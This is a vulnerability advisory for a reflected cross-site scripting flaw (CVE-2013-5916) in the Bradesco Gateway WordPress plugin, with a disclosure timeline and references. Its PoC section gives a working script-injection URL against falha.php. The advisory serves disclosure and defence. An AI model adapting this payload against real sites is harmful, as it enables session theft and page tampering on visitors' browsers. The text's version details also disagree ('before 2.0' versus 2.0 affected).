[ Bradesco Gateway Wordpress plugin Cross-site scripting ( XSS ) ]

[ Vendor product description]
Bradesco Gateway for the WP-Ecommerce plugin.

[ Bug Description ]

Cross-site scripting (XSS) vulnerability in falha.php in the Bradesco
Gateway plugin before 2.0 for WordPress allows remote attackers to
inject arbitrary web script or HTML.


[ History ]

Advisory sent to vendor on 09/04/2013
Contact vendor again on 09/13/2013
Contact vendor again on 09/20/2013
Advisory sent to Wordpress plugin team on 09/20/2013

[ Impact ]
HIGH

[ Afected Version ]

2.0

[ Vendor Reply ]

No Vendor team response.
No Wordpress plugin response.

[ CVE Reference ]

CVE-2013-5916

[ PoC ]

Payload: http://[host]/>
/wordpress/wp-content/plugins/wp-e-commerce/wpsc-merchants/bradesco-gateway/falha.php?1%3CScRiPt%3Eprompt%28%27XSS%27%29%3C/ScRiPt%3E

[ References ]

[1] Bradesco-gateway -
http://plugins.svn.wordpress.org/bradesco-gateway/trunk/bradesco-gateway.php
[2] Owasp Cross-site scripting -
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/

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